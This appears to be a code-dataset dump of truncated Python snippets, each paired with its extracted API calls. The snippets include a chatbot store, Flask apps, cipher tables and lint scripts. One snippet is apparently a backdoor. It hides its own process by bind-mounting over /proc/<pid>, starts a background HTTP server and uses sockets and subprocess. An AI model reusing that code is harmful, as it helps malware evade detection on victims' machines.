code
stringlengths
22
1.05M
apis
listlengths
1
3.31k
extract_api
stringlengths
75
3.25M
""" Copyright (c) 2016-2018 <NAME> http://www.keithsterling.com Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, m...
[ "programy.utils.logging.ylogger.YLogger.exception", "programy.dialog.storage.base.ConversationStorage.__init__", "redis.StrictRedis", "programy.utils.logging.ylogger.YLogger.debug" ]
[((1302, 1392), 'redis.StrictRedis', 'redis.StrictRedis', ([], {'host': 'config.host', 'port': 'config.port', 'password': 'config.password', 'db': '(0)'}), '(host=config.host, port=config.port, password=config.\n password, db=0)\n', (1319, 1392), False, 'import redis\n'), ((2281, 2323), 'programy.dialog.storage.base...
import os from users import create_app app = create_app(os.getenv('FLASK_CONFIG') or 'development') if __name__ == "__main__": app.run()
[ "os.getenv" ]
[((57, 82), 'os.getenv', 'os.getenv', (['"""FLASK_CONFIG"""'], {}), "('FLASK_CONFIG')\n", (66, 82), False, 'import os\n')]
# coding=utf-8 import logging import struct SS0 = [ 0x2989a1a8, 0x05858184, 0x16c6d2d4, 0x13c3d3d0, 0x14445054, 0x1d0d111c, 0x2c8ca0ac, 0x25052124, 0x1d4d515c, 0x03434340, 0x18081018, 0x1e0e121c, 0x11415150, 0x3cccf0fc, 0x0acac2c8, 0x23436360, 0x28082028, 0x04444044, 0x20002020, 0x1d8d919c, 0x20c0e0e0, 0x2...
[ "struct.unpack", "struct.pack" ]
[((13228, 13252), 'struct.pack', 'struct.pack', (['""">Q"""', 'value'], {}), "('>Q', value)\n", (13239, 13252), False, 'import struct\n'), ((15199, 15242), 'struct.unpack', 'struct.unpack', (['""">Q"""', 'src[offset:offset + 8]'], {}), "('>Q', src[offset:offset + 8])\n", (15212, 15242), False, 'import struct\n'), ((147...
#!/usr/bin/env python # # Requires autopep8 to be installed. # Script for cleaning up most PEP8 related errors checked by the pre-commit hook. # import os import subprocess import sys # don't fill in both of these # good codes select_codes = ["E111", "E101", "E201", "E202", "E203", "E221", "E222", "E223...
[ "subprocess.Popen", "os.listdir", "sys.exit", "os.getcwd" ]
[((910, 942), 'subprocess.Popen', 'subprocess.Popen', (['args'], {}), '(args, **kwargs)\n', (926, 942), False, 'import subprocess\n'), ((1015, 1026), 'os.getcwd', 'os.getcwd', ([], {}), '()\n', (1024, 1026), False, 'import os\n'), ((1846, 1857), 'sys.exit', 'sys.exit', (['(0)'], {}), '(0)\n', (1854, 1857), False, 'impo...
import logging NULL_LOGGER = logging.getLogger('null') NULL_LOGGER.handlers = [logging.NullHandler()] NULL_LOGGER.propagate = False
[ "logging.getLogger", "logging.NullHandler" ]
[((30, 55), 'logging.getLogger', 'logging.getLogger', (['"""null"""'], {}), "('null')\n", (47, 55), False, 'import logging\n'), ((80, 101), 'logging.NullHandler', 'logging.NullHandler', ([], {}), '()\n', (99, 101), False, 'import logging\n')]
import argparse import os if __name__ == '__main__': parser = argparse.ArgumentParser(description='Start Telegram bot.') parser.add_argument('-f', dest='foreground', action='store_true', help='run process in foreground') parser.add_argument('-s', dest='settings', action='store', ...
[ "os.path.realpath", "bot.run.run_server", "argparse.ArgumentParser" ]
[((68, 126), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {'description': '"""Start Telegram bot."""'}), "(description='Start Telegram bot.')\n", (91, 126), False, 'import argparse\n'), ((590, 624), 'os.path.realpath', 'os.path.realpath', (["args['settings']"], {}), "(args['settings'])\n", (606, 624), Fal...
#!/usr/bin/python # encoding: utf-8 import os import json import time from time import sleep import requests import re from werkzeug import secure_filename from flask import (Flask, request, render_template, session, redirect, url_for, escape, send_from_directory, Blueprint, abort) delete_okta = Blueprint('okta_de...
[ "flask.render_template", "json.loads", "flask.escape", "os.rename", "flask.request.form.get", "os.path.isfile", "flask.url_for", "flask.Blueprint", "time.time", "json.dump" ]
[((302, 336), 'flask.Blueprint', 'Blueprint', (['"""okta_delete"""', '__name__'], {}), "('okta_delete', __name__)\n", (311, 336), False, 'from flask import Flask, request, render_template, session, redirect, url_for, escape, send_from_directory, Blueprint, abort\n'), ((426, 478), 'os.path.isfile', 'os.path.isfile', (['...
from rest_framework import viewsets from accounts.models import SystemUser from accounts.serializers.system_user import SystemUserSerializer class AccountViewSet(viewsets.ModelViewSet): """ A simple ViewSet for viewing and editing accounts. """ queryset = SystemUser.objects.all() serializer_class...
[ "accounts.models.SystemUser.objects.all" ]
[((275, 299), 'accounts.models.SystemUser.objects.all', 'SystemUser.objects.all', ([], {}), '()\n', (297, 299), False, 'from accounts.models import SystemUser\n')]
import tweepy from application.twitter.listener.streaming import TwitterStreamingListener, TwitterUserStreamingListener from application.twitter.interface import TwitterInterface class TwitterListener(TwitterInterface): def __init__(self, keywords, user, *args, **kwargs): """ Twitter Listener con...
[ "application.twitter.listener.streaming.TwitterStreamingListener", "application.twitter.listener.streaming.TwitterUserStreamingListener" ]
[((727, 761), 'application.twitter.listener.streaming.TwitterStreamingListener', 'TwitterStreamingListener', (['keywords'], {}), '(keywords)\n', (751, 761), False, 'from application.twitter.listener.streaming import TwitterStreamingListener, TwitterUserStreamingListener\n'), ((929, 963), 'application.twitter.listener.s...
#!/bin/python3 import time,socket,subprocess,os,string import random as r # ranadom process name ch = string.ascii_lowercase + string.digits token = "".join(r.choice(ch) for i in range(6)) #pid and hidden process pid = os.getpid() os.system("mkdir /tmp/{1} && mount -o bind /tmp/{1} /proc/{0}".format(pid,token)...
[ "random.choice", "socket.socket", "subprocess.Popen", "time.sleep", "os.getpid", "os.system", "socket.gethostname" ]
[((228, 239), 'os.getpid', 'os.getpid', ([], {}), '()\n', (237, 239), False, 'import time, socket, subprocess, os, string\n'), ((491, 532), 'os.system', 'os.system', (['"""python -m http.server 8000 &"""'], {}), "('python -m http.server 8000 &')\n", (500, 532), False, 'import time, socket, subprocess, os, string\n'), (...
from object import * import matplotlib import matplotlib.pyplot as plt class Cat(Object): def update(self): self.x = self.x + np.array([self.x[2], self.x[3], 100*np.random.randn(), 100*np.random.randn()])*self.step self.t = self.t + self.step self.check_wall() self.check_obstacles(...
[ "matplotlib.pyplot.grid", "matplotlib.pyplot.xlabel", "matplotlib.pyplot.plot", "matplotlib.pyplot.legend", "matplotlib.pyplot.show" ]
[((854, 927), 'matplotlib.pyplot.plot', 'plt.plot', (['cat1.trajectory[:, 2]', 'cat1.trajectory[:, 0]', '"""b"""'], {'label': '"""x(t)"""'}), "(cat1.trajectory[:, 2], cat1.trajectory[:, 0], 'b', label='x(t)')\n", (862, 927), True, 'import matplotlib.pyplot as plt\n'), ((932, 1005), 'matplotlib.pyplot.plot', 'plt.plot',...
from __future__ import print_function from __future__ import division import pandas as pd # Import scipy io to write/read mat file import scipy.io as io import os # Plotting import matplotlib.pylab as plt plt.rc('axes', labelsize=20) # fontsize of the x and y labels plt.rc('xtick', labelsize=15) # fontsize of th...
[ "matplotlib.pylab.gca", "matplotlib.pylab.savefig", "pandas.read_csv", "matplotlib.pylab.figure", "matplotlib.pylab.grid", "matplotlib.pylab.legend", "matplotlib.pylab.tight_layout", "os.path.join", "matplotlib.pylab.show", "pandas.DataFrame", "pandas.concat", "matplotlib.pylab.rc" ]
[((207, 235), 'matplotlib.pylab.rc', 'plt.rc', (['"""axes"""'], {'labelsize': '(20)'}), "('axes', labelsize=20)\n", (213, 235), True, 'import matplotlib.pylab as plt\n'), ((272, 301), 'matplotlib.pylab.rc', 'plt.rc', (['"""xtick"""'], {'labelsize': '(15)'}), "('xtick', labelsize=15)\n", (278, 301), True, 'import matplo...
from core.config import app_config import json import datetime import logging import os from flask import Flask, render_template, Response, request, send_from_directory from core import compat, app, utils from core.ctrl import api, auth compat.check_version() webapp = Flask(__name__) app.mode = 'http' @webapp.route(...
[ "flask.render_template", "core.compat.check_version", "flask.send_from_directory", "flask.Flask", "core.ctrl.auth.authorization_process", "json.dumps", "flask.request.get_json", "flask.Response", "datetime.date.today", "flask.request.headers.get" ]
[((238, 260), 'core.compat.check_version', 'compat.check_version', ([], {}), '()\n', (258, 260), False, 'from core import compat, app, utils\n'), ((270, 285), 'flask.Flask', 'Flask', (['__name__'], {}), '(__name__)\n', (275, 285), False, 'from flask import Flask, render_template, Response, request, send_from_directory\...
from __future__ import division from __future__ import print_function import os import glob import time import random import argparse import numpy as np import torch import torchvision.models as models import torch.autograd.profiler as profiler import torch.nn as nn import torch.nn.functional as F import torch.optim a...
[ "torch.manual_seed", "utils.load_data", "argparse.ArgumentParser", "torch.nn.functional.nll_loss", "utils.accuracy", "torch.load", "time.perf_counter", "random.seed", "torch.autograd.profiler.profile", "torch.cuda.is_available", "torch.autograd.profiler.record_function", "numpy.random.seed", ...
[((464, 489), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (487, 489), False, 'import argparse\n'), ((1894, 1916), 'random.seed', 'random.seed', (['args.seed'], {}), '(args.seed)\n', (1905, 1916), False, 'import random\n'), ((1917, 1942), 'numpy.random.seed', 'np.random.seed', (['args.seed'],...
import numpy as np import logging import random def open_stl(filename): count = 0 with open(filename) as f: for line in f: count += 1 logging.info("number of lines {}".format(count)) tri_count = (count - 2) / 7 logging.info("number of triangles {}".format(tri_count)...
[ "random.random", "numpy.zeros", "mayavi.mlab.show" ]
[((431, 455), 'numpy.zeros', 'np.zeros', (['(tri_count, 3)'], {}), '((tri_count, 3))\n', (439, 455), True, 'import numpy as np\n'), ((465, 489), 'numpy.zeros', 'np.zeros', (['(tri_count, 3)'], {}), '((tri_count, 3))\n', (473, 489), True, 'import numpy as np\n'), ((499, 523), 'numpy.zeros', 'np.zeros', (['(tri_count, 3)...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- __author__ = 'ipetrash' from urllib.parse import urljoin import requests from bs4 import BeautifulSoup import csv def get_number(text: str) -> int: return int(''.join(c for c in text.strip() if c.isdigit())) first = 1 last = 50 step = 50 result = [] while True...
[ "bs4.BeautifulSoup", "urllib.parse.urljoin", "csv.writer", "requests.get" ]
[((473, 490), 'requests.get', 'requests.get', (['url'], {}), '(url)\n', (485, 490), False, 'import requests\n'), ((502, 542), 'bs4.BeautifulSoup', 'BeautifulSoup', (['rs.content', '"""html.parser"""'], {}), "(rs.content, 'html.parser')\n", (515, 542), False, 'from bs4 import BeautifulSoup\n'), ((1501, 1514), 'csv.write...
# -*- coding: utf-8 -*- from common.models.notice.UserNews import UserNews from common.services.BaseService import BaseService from application import db class NewsService(BaseService): @staticmethod def addNews(params): model_user_news = UserNews(**params) db.session.add(model_user_news) ...
[ "common.models.notice.UserNews.UserNews", "application.db.session.add", "application.db.session.commit" ]
[((257, 275), 'common.models.notice.UserNews.UserNews', 'UserNews', ([], {}), '(**params)\n', (265, 275), False, 'from common.models.notice.UserNews import UserNews\n'), ((284, 315), 'application.db.session.add', 'db.session.add', (['model_user_news'], {}), '(model_user_news)\n', (298, 315), False, 'from application im...
#!/usr/bin/env python # vim:ts=4:sw=4:expandtab:ft=python:fileencoding=utf-8 """Marvin jabber bot. A jabber bot made to play with jabber, python, etc and hopefully still be useful. @todo: use a decorator for admin commands """ #__version__ = "$Rev$" import sys sys.path.append('lib') import datetime import hashlib...
[ "random.choice", "hashlib.md5", "botcommands.getShortUrl", "jabberbot.JabberBot.__init__", "ConfigParser.ConfigParser", "datetime.datetime.now", "os.popen", "botcommands.spellCheck", "hashlib.sha1", "sys.path.append", "botcommands.lookupMd5" ]
[((266, 288), 'sys.path.append', 'sys.path.append', (['"""lib"""'], {}), "('lib')\n", (281, 288), False, 'import sys\n'), ((6151, 6165), 'ConfigParser.ConfigParser', 'ConfigParser', ([], {}), '()\n', (6163, 6165), False, 'from ConfigParser import ConfigParser\n'), ((2928, 2963), 'botcommands.getShortUrl', 'botcommands....
from src.planners.exact._create_model import create_model from src.planners.exact._read_model import read_model from src.planners.planner import Planner from pyomo.environ import * class ExactPlanner(Planner): def __init__(self, opf_method='lossless', observe_ev_locations='full'...
[ "src.planners.exact._create_model.create_model", "src.planners.exact._read_model.read_model" ]
[((1558, 1722), 'src.planners.exact._create_model.create_model', 'create_model', (['self.opf_method', 'true_grid', 'surrogate_grid', 'sampled_scenarios', 't_current_ind', 'SOC_evs_current'], {'obj_factor': 'obj_factor', 'norm_factor': 'norm_factor'}), '(self.opf_method, true_grid, surrogate_grid, sampled_scenarios,\n ...
import pymongo import pymongo.errors import datetime import os from src.Error.ErrorManager import ErrorManager, ErrorCode class DbHandler: snapshot_pattern = "%Y%m%d_%H%M" snapshot_name = "snapshot" key_game = "kornettoh" key_name = 'name' def __init__(self, party_name=key_game): self.pa...
[ "pymongo.MongoClient", "datetime.datetime.now", "src.Error.ErrorManager.ErrorManager" ]
[((2552, 2592), 'pymongo.MongoClient', 'pymongo.MongoClient', (['self.connection_url'], {}), '(self.connection_url)\n', (2571, 2592), False, 'import pymongo\n'), ((3280, 3294), 'src.Error.ErrorManager.ErrorManager', 'ErrorManager', ([], {}), '()\n', (3292, 3294), False, 'from src.Error.ErrorManager import ErrorManager,...
import csv import io from darcyai.file_stream import FileStream from darcyai.output.output_stream import OutputStream from darcyai.utils import validate_not_none, validate_type class CSVOutputStream(OutputStream): """ OutputStream implementation that writes to a CSV file. # Arguments file_path (str)...
[ "darcyai.utils.validate_not_none", "darcyai.file_stream.FileStream", "csv.writer", "io.StringIO", "darcyai.utils.validate_type" ]
[((1413, 1466), 'darcyai.utils.validate_not_none', 'validate_not_none', (['file_path', '"""file_path is required"""'], {}), "(file_path, 'file_path is required')\n", (1430, 1466), False, 'from darcyai.utils import validate_not_none, validate_type\n'), ((1475, 1534), 'darcyai.utils.validate_type', 'validate_type', (['fi...
import json import logging from enum import Enum from typing import Dict import requests from prometheus_client.parser import text_string_to_metric_families from src.utils.exceptions import (NoMetricsGivenException, MetricNotFoundException, ReceivedU...
[ "src.utils.exceptions.NoMetricsGivenException", "prometheus_client.parser.text_string_to_metric_families", "json.dumps", "requests.get", "src.utils.exceptions.ReceivedUnexpectedDataException", "src.utils.exceptions.MetricNotFoundException" ]
[((570, 675), 'requests.get', 'requests.get', ([], {'url': 'endpoint', 'params': 'params', 'timeout': '(10)', 'verify': 'verify', 'headers': "{'Connection': 'close'}"}), "(url=endpoint, params=params, timeout=10, verify=verify,\n headers={'Connection': 'close'})\n", (582, 675), False, 'import requests\n'), ((2302, 2...
import re from alr.input_streams import InputStream from alr.instances import Terminal, Token, END_TERMINAL_NAME class LexerException(Exception): pass class Lexer: def next(self) -> Token: pass def findMatchInfo(terminals: [Terminal], data: str): for terminal in terminals: match = re....
[ "alr.instances.Token", "re.match" ]
[((317, 348), 're.match', 're.match', (['terminal.regexp', 'data'], {}), '(terminal.regexp, data)\n', (325, 348), False, 'import re\n'), ((1281, 1331), 'alr.instances.Token', 'Token', (['endTerminal', 'len_source', 'len_source', 'source'], {}), '(endTerminal, len_source, len_source, source)\n', (1286, 1331), False, 'fr...
import sys sys.path.append('../lib') import exchange import datetime import numpy as np import matplotlib.pyplot as plt import pandas as pd from scipy.stats import norm def transition_probabilities(chain, offset=1): states = np.array([s for s in set(chain)]) state_space = {s: i for i, s in enumerate(st...
[ "datetime.datetime", "numpy.mean", "numpy.diff", "numpy.sum", "numpy.zeros", "matplotlib.pyplot.figure", "exchange.Exchange", "scipy.stats.norm.pdf", "numpy.concatenate", "pandas.DataFrame", "datetime.timedelta", "sys.path.append", "matplotlib.pyplot.show" ]
[((11, 36), 'sys.path.append', 'sys.path.append', (['"""../lib"""'], {}), "('../lib')\n", (26, 36), False, 'import sys\n'), ((351, 395), 'numpy.zeros', 'np.zeros', (['(states.shape[0], states.shape[0])'], {}), '((states.shape[0], states.shape[0]))\n', (359, 395), True, 'import numpy as np\n'), ((789, 827), 'exchange.Ex...
# -*- coding: utf-8 -*- # Generated by Django 1.11.20 on 2020-05-13 23:41 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion import smart_selects.db_fields class Migration(migrations.Migration): dependencies = [ ('survey', '0007_auto_2020051...
[ "django.db.models.FloatField", "django.db.models.DateField", "django.db.models.ForeignKey", "django.db.models.AutoField", "django.db.models.URLField", "django.db.models.CharField" ]
[((472, 565), 'django.db.models.AutoField', 'models.AutoField', ([], {'auto_created': '(True)', 'primary_key': '(True)', 'serialize': '(False)', 'verbose_name': '"""ID"""'}), "(auto_created=True, primary_key=True, serialize=False,\n verbose_name='ID')\n", (488, 565), False, 'from django.db import migrations, models\...
# # Miscellenous tools # from argparse import ArgumentParser import inspect from pprint import pprint def parse_keyword_arguments(unparsed_args, class_object, debug=True): """ Take unparsed arguments and a class object, check what keyword arguments class's __init__ takes, create ArgumentParser object ...
[ "inspect.signature", "pprint.pprint", "argparse.ArgumentParser" ]
[((913, 929), 'argparse.ArgumentParser', 'ArgumentParser', ([], {}), '()\n', (927, 929), False, 'from argparse import ArgumentParser\n'), ((946, 986), 'inspect.signature', 'inspect.signature', (['class_object.__init__'], {}), '(class_object.__init__)\n', (963, 986), False, 'import inspect\n'), ((1622, 1664), 'pprint.pp...
from omegaconf import OmegaConf def default_detection_train_config(): # FIXME currently using args for train config, will revisit, perhaps move to Hydra h = OmegaConf.create() # dataset h.skip_crowd_during_training = True # augmentation h.input_rand_hflip = True h.train_scale_min = 0.1 ...
[ "omegaconf.OmegaConf.create" ]
[((167, 185), 'omegaconf.OmegaConf.create', 'OmegaConf.create', ([], {}), '()\n', (183, 185), False, 'from omegaconf import OmegaConf\n')]
#!/usr/bin/env python # coding: utf-8 # Copyright (c) 2015 <NAME> <<EMAIL>> # License: MIT (see LICENSE file) import apigen class Ordering(apigen.Definition): @apigen.command() def first(self): return "first" @apigen.command() def second(self): return "second" @apigen.command(...
[ "apigen.run", "apigen.command" ]
[((169, 185), 'apigen.command', 'apigen.command', ([], {}), '()\n', (183, 185), False, 'import apigen\n'), ((236, 252), 'apigen.command', 'apigen.command', ([], {}), '()\n', (250, 252), False, 'import apigen\n'), ((305, 321), 'apigen.command', 'apigen.command', ([], {}), '()\n', (319, 321), False, 'import apigen\n'), (...
from flask import Flask, request from flask_sqlalchemy import SQLAlchemy from ast import literal_eval import requests DB = SQLAlchemy() class Record(DB.Model): id = DB.Column(DB.BigInteger, primary_key=True, nullable=False) name = DB.Column(DB.String, nullable=False) age = DB.Column(DB.SmallInteger, nu...
[ "flask_sqlalchemy.SQLAlchemy", "requests.get", "flask.Flask" ]
[((125, 137), 'flask_sqlalchemy.SQLAlchemy', 'SQLAlchemy', ([], {}), '()\n', (135, 137), False, 'from flask_sqlalchemy import SQLAlchemy\n'), ((471, 486), 'flask.Flask', 'Flask', (['__name__'], {}), '(__name__)\n', (476, 486), False, 'from flask import Flask, request\n'), ((1025, 1054), 'requests.get', 'requests.get', ...
""" A daemon to make controlling multiple players easier. Daemon core, contains the glib event loop """ import logging from functools import partial import gi gi.require_version('Playerctl', '2.0') from gi.repository import Playerctl, GLib from .utils import get_player_instance, is_player_active logger = logging.g...
[ "logging.getLogger", "gi.repository.GLib.MainLoop", "gi.require_version", "functools.partial", "gi.repository.Playerctl.Player.new_from_name", "gi.repository.Playerctl.PlayerManager" ]
[((162, 200), 'gi.require_version', 'gi.require_version', (['"""Playerctl"""', '"""2.0"""'], {}), "('Playerctl', '2.0')\n", (180, 200), False, 'import gi\n'), ((311, 336), 'logging.getLogger', 'logging.getLogger', (['"""core"""'], {}), "('core')\n", (328, 336), False, 'import logging\n'), ((2627, 2663), 'gi.repository....
from dataclasses import dataclass, field from enum import Enum from typing import Optional, Union class FooTypeValue(Enum): WA = "WA" OR = "OR" CA = "CA" @dataclass class FooTest: class Meta: name = "fooTest" value: Optional[Union[int, FooTypeValue]] = field( default=None, ...
[ "dataclasses.field" ]
[((286, 360), 'dataclasses.field', 'field', ([], {'default': 'None', 'metadata': "{'min_inclusive': 100, 'max_inclusive': 200}"}), "(default=None, metadata={'min_inclusive': 100, 'max_inclusive': 200})\n", (291, 360), False, 'from dataclasses import dataclass, field\n'), ((533, 667), 'dataclasses.field', 'field', ([], ...
from django.urls import path from rest_framework_simplejwt.views import TokenRefreshView from .views import registration, log_in urlpatterns = [ path('register/', registration, name='register'), path('log_in/', log_in, name='log_in'), path('refresh/', TokenRefreshView.as_view(), name='token_refresh'), ]
[ "django.urls.path", "rest_framework_simplejwt.views.TokenRefreshView.as_view" ]
[((150, 198), 'django.urls.path', 'path', (['"""register/"""', 'registration'], {'name': '"""register"""'}), "('register/', registration, name='register')\n", (154, 198), False, 'from django.urls import path\n'), ((204, 242), 'django.urls.path', 'path', (['"""log_in/"""', 'log_in'], {'name': '"""log_in"""'}), "('log_in...
#!/usr/bin/python3 # Calculate boost.afio build times under various configs # (C) 2015 <NAME> # Created: 12th March 2015 #[ [`--link-test --fast-build debug`][][[footnote ASIO has a link error without `link=static`]][fails]] #[ [`--link-test debug`][][][]] #[ [`--link-test --lto debug`][[]][][]] ...
[ "os.path.exists", "time.perf_counter", "os.getcwd", "shutil.rmtree", "os.chdir", "platform.system", "subprocess.call", "sys.exit", "os.path.abspath" ]
[((875, 904), 'shutil.rmtree', 'shutil.rmtree', (['"""bin.v2"""', '(True)'], {}), "('bin.v2', True)\n", (888, 904), False, 'import os, sys, subprocess, time, shutil, platform\n'), ((699, 710), 'sys.exit', 'sys.exit', (['(1)'], {}), '(1)\n', (707, 710), False, 'import os, sys, subprocess, time, shutil, platform\n'), ((8...
# -*- coding:utf-8 -*- from src.Client.Conf.config import * from src.Client.recitationSystem.editRecitation.tools import editRecitationList, removeRecitation from src.Client.SystemTools.SaveFiles import saveFiles class EditRecitation(): """ 编辑任务子系统。调用类,任务由被调用者完成。 """ def __init__(self, filename='../...
[ "src.Client.SystemTools.LoadFiles.loadFiles.LoadFiles", "src.Client.recitationSystem.editRecitation.tools.editRecitationList.EditRecitationList", "src.Client.SystemTools.SaveFiles.saveFiles.SaveFiles", "src.Client.recitationSystem.editRecitation.tools.removeRecitation.RemoveRecitation" ]
[((1787, 1865), 'src.Client.SystemTools.LoadFiles.loadFiles.LoadFiles', 'loadFiles.LoadFiles', (['"""F:\\\\python17\\\\pythonPro\\\\MemortAssit\\\\data\\\\mission.dat"""'], {}), "('F:\\\\python17\\\\pythonPro\\\\MemortAssit\\\\data\\\\mission.dat')\n", (1806, 1865), False, 'from src.Client.SystemTools.LoadFiles import ...
# -*- coding: utf-8 -*- from __future__ import print_function import keras from keras.datasets import mnist from keras.models import Model from keras.layers import Input, Dense, TimeDistributed from keras import initializers,regularizers,activations,constraints from keras.engine.topology import Layer,InputSpec from ke...
[ "keras.engine.topology.InputSpec", "matplotlib.pyplot.ylabel", "keras.activations.get", "keras.utils.to_categorical", "keras.layers.Activation", "keras.layers.Dense", "keras.datasets.mnist.load_data", "matplotlib.pyplot.xlabel", "matplotlib.pyplot.plot", "keras.constraints.serialize", "keras.lay...
[((4891, 4908), 'keras.datasets.mnist.load_data', 'mnist.load_data', ([], {}), '()\n', (4906, 4908), False, 'from keras.datasets import mnist\n'), ((5244, 5292), 'keras.utils.to_categorical', 'keras.utils.to_categorical', (['y_train', 'num_classes'], {}), '(y_train, num_classes)\n', (5270, 5292), False, 'import keras\n...
import numpy as np import math from pyspark.sql import Row """ Implementation of Lorentz vector """ class LorentzVector(object): def __init__(self, *args): if len(args)>0: self.x = args[0] self.y = args[1] self.z = args[2] self.t = args[3] def SetPt...
[ "math.sqrt", "numpy.asarray", "math.log", "math.cos", "math.atan2", "math.sin", "math.sinh" ]
[((1956, 1973), 'numpy.asarray', 'np.asarray', (['pTmap'], {}), '(pTmap)\n', (1966, 1973), True, 'import numpy as np\n'), ((2141, 2158), 'numpy.asarray', 'np.asarray', (['pTmap'], {}), '(pTmap)\n', (2151, 2158), True, 'import numpy as np\n'), ((2322, 2339), 'numpy.asarray', 'np.asarray', (['pTmap'], {}), '(pTmap)\n', (...
import pygame from Utils.Math_utils import distance class SpriteUtils: @staticmethod def get_closet_enemy(x, y, max_radius, sprites: [pygame.sprite.Sprite], metric_func): radius_sprites = list( filter(lambda pos: distance((x, y), (pos.rect.centerx, pos.rect.centery)) <= max_radius, sprit...
[ "Utils.Math_utils.distance" ]
[((245, 299), 'Utils.Math_utils.distance', 'distance', (['(x, y)', '(pos.rect.centerx, pos.rect.centery)'], {}), '((x, y), (pos.rect.centerx, pos.rect.centery))\n', (253, 299), False, 'from Utils.Math_utils import distance\n'), ((451, 505), 'Utils.Math_utils.distance', 'distance', (['(x, y)', '(pos.rect.centerx, pos.re...
from math import sqrt R,B=list(map(int,input().split())) S = R+B for i in range(1, int(sqrt(S))+1): if S % i ==0 : a = i b = S // i if a<b: a,b=b,a if a>2 and b>2 and (a-2)*(b-2) == B: print(a,b)
[ "math.sqrt" ]
[((87, 94), 'math.sqrt', 'sqrt', (['S'], {}), '(S)\n', (91, 94), False, 'from math import sqrt\n')]
""" Like functools.singledispatch, but dynamic, value-based dispatch. """ __all__ = ('dynamic_dispatch',) import functools import inspect from typing import Union, Callable, Type, Hashable from dynamic_dispatch._class import class_dispatch from dynamic_dispatch._func import func_dispatch from ._typeguard import ty...
[ "dynamic_dispatch._class.class_dispatch", "inspect.signature", "dynamic_dispatch._func.func_dispatch", "functools.partial", "inspect.isclass" ]
[((2313, 2334), 'inspect.isclass', 'inspect.isclass', (['func'], {}), '(func)\n', (2328, 2334), False, 'import inspect\n'), ((2393, 2429), 'dynamic_dispatch._func.func_dispatch', 'func_dispatch', (['func'], {'default': 'default'}), '(func, default=default)\n', (2406, 2429), False, 'from dynamic_dispatch._func import fu...
from pprint import pprint from collections import defaultdict import yaml import pynetbox def get_netbox(): """ Return Netbox API handler Returns: pynetbox.API -- Netbox API handler """ nburl = "http://1192.168.127.12:8000/" NETBOX_TOKEN = "<KEY>" session = requests.Session() ...
[ "pynetbox.api", "collections.defaultdict" ]
[((429, 488), 'pynetbox.api', 'pynetbox.api', ([], {'url': 'nburl', 'token': 'NETBOX_TOKEN', 'threading': '(True)'}), '(url=nburl, token=NETBOX_TOKEN, threading=True)\n', (441, 488), False, 'import pynetbox\n'), ((579, 597), 'collections.defaultdict', 'defaultdict', (['ddict'], {}), '(ddict)\n', (590, 597), False, 'fro...
# -*- coding: utf-8 -*- import re import bpy from bpy.types import Operator from collections import OrderedDict from mmd_tools import utils from mmd_tools.core import model as mmd_model from mmd_tools.core.morph import FnMorph from mmd_tools.core.material import FnMaterial PREFIX_PATT = r'(?P<prefix>[0-9A-Z]{3}_)(?...
[ "bpy.props.IntProperty", "bpy.props.BoolProperty", "mmd_tools.utils.separateByMaterials", "mmd_tools.utils.clearUnusedMeshes", "mmd_tools.core.model.Model", "bpy.ops.mmd_tools.clear_temp_materials", "bpy.ops.mmd_tools.clear_uv_morph_view", "bpy.ops.object.select_all", "mmd_tools.utils.int2base", "...
[((2329, 2456), 'bpy.props.BoolProperty', 'bpy.props.BoolProperty', ([], {'name': '"""Clean Shape Keys"""', 'description': '"""Remove unused shape keys of separated objects"""', 'default': '(True)'}), "(name='Clean Shape Keys', description=\n 'Remove unused shape keys of separated objects', default=True)\n", (2351, ...
import pytest, warnings, numpy as np from sequentia.classifiers import _Topology, _LeftRightTopology, _ErgodicTopology, _LinearTopology from ....support import assert_equal, assert_all_equal, assert_distribution # Set seed for reproducible randomness seed = 0 np.random.seed(seed) rng = np.random.RandomState(seed) # =...
[ "sequentia.classifiers._Topology", "sequentia.classifiers._LinearTopology", "pytest.warns", "sequentia.classifiers._LeftRightTopology", "numpy.array", "pytest.raises", "numpy.random.seed", "numpy.random.RandomState", "sequentia.classifiers._ErgodicTopology" ]
[((261, 281), 'numpy.random.seed', 'np.random.seed', (['seed'], {}), '(seed)\n', (275, 281), True, 'import pytest, warnings, numpy as np\n'), ((288, 315), 'numpy.random.RandomState', 'np.random.RandomState', (['seed'], {}), '(seed)\n', (309, 315), True, 'import pytest, warnings, numpy as np\n'), ((594, 633), 'sequentia...
# Generated by Django 2.2 on 2019-10-10 19:55 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('funilaria', '0008_auto_20191009_0904'), ] operations = [ migrations.AddField( model_name='orcamento', ...
[ "datetime.datetime", "django.db.models.BooleanField" ]
[((357, 391), 'django.db.models.BooleanField', 'models.BooleanField', ([], {'default': '(False)'}), '(default=False)\n', (376, 391), False, 'from django.db import migrations, models\n'), ((553, 603), 'datetime.datetime', 'datetime.datetime', (['(2019)', '(10)', '(10)', '(16)', '(55)', '(5)', '(539559)'], {}), '(2019, 1...
# https://arxiv.org/pdf/1703.02910.pdf, Deep Bayesian Active Learning with Image Data import numpy as np from .baseline import Strategy from ..helpers.time import timeit class BayesianActiveLearning(Strategy): def __init__(self, nb_forward=10, **kwargs): super(BayesianActiveLearning, self).__init__() ...
[ "numpy.argsort", "numpy.mean", "numpy.zeros", "numpy.log" ]
[((828, 846), 'numpy.argsort', 'np.argsort', (['scores'], {}), '(scores)\n', (838, 846), True, 'import numpy as np\n'), ((1190, 1228), 'numpy.mean', 'np.mean', (['stacked_probabilities'], {'axis': '(0)'}), '(stacked_probabilities, axis=0)\n', (1197, 1228), True, 'import numpy as np\n'), ((1251, 1267), 'numpy.zeros', 'n...
import logging import asyncio import json from datetime import datetime, timedelta from dateutil import tz, relativedelta from pyhydroquebec.error import PyHydroQuebecHTTPError from pyhydroquebec.client import HydroQuebecClient from pyhydroquebec.consts import ( CURRENT_MAP, DAILY_MAP, ) import voluptuous a...
[ "logging.getLogger", "voluptuous.Required", "dateutil.tz.gettz", "homeassistant.util.Throttle", "datetime.datetime.now", "pyhydroquebec.client.HydroQuebecClient", "voluptuous.In", "datetime.timedelta", "voluptuous.Optional", "homeassistant.helpers.aiohttp_client.async_get_clientsession" ]
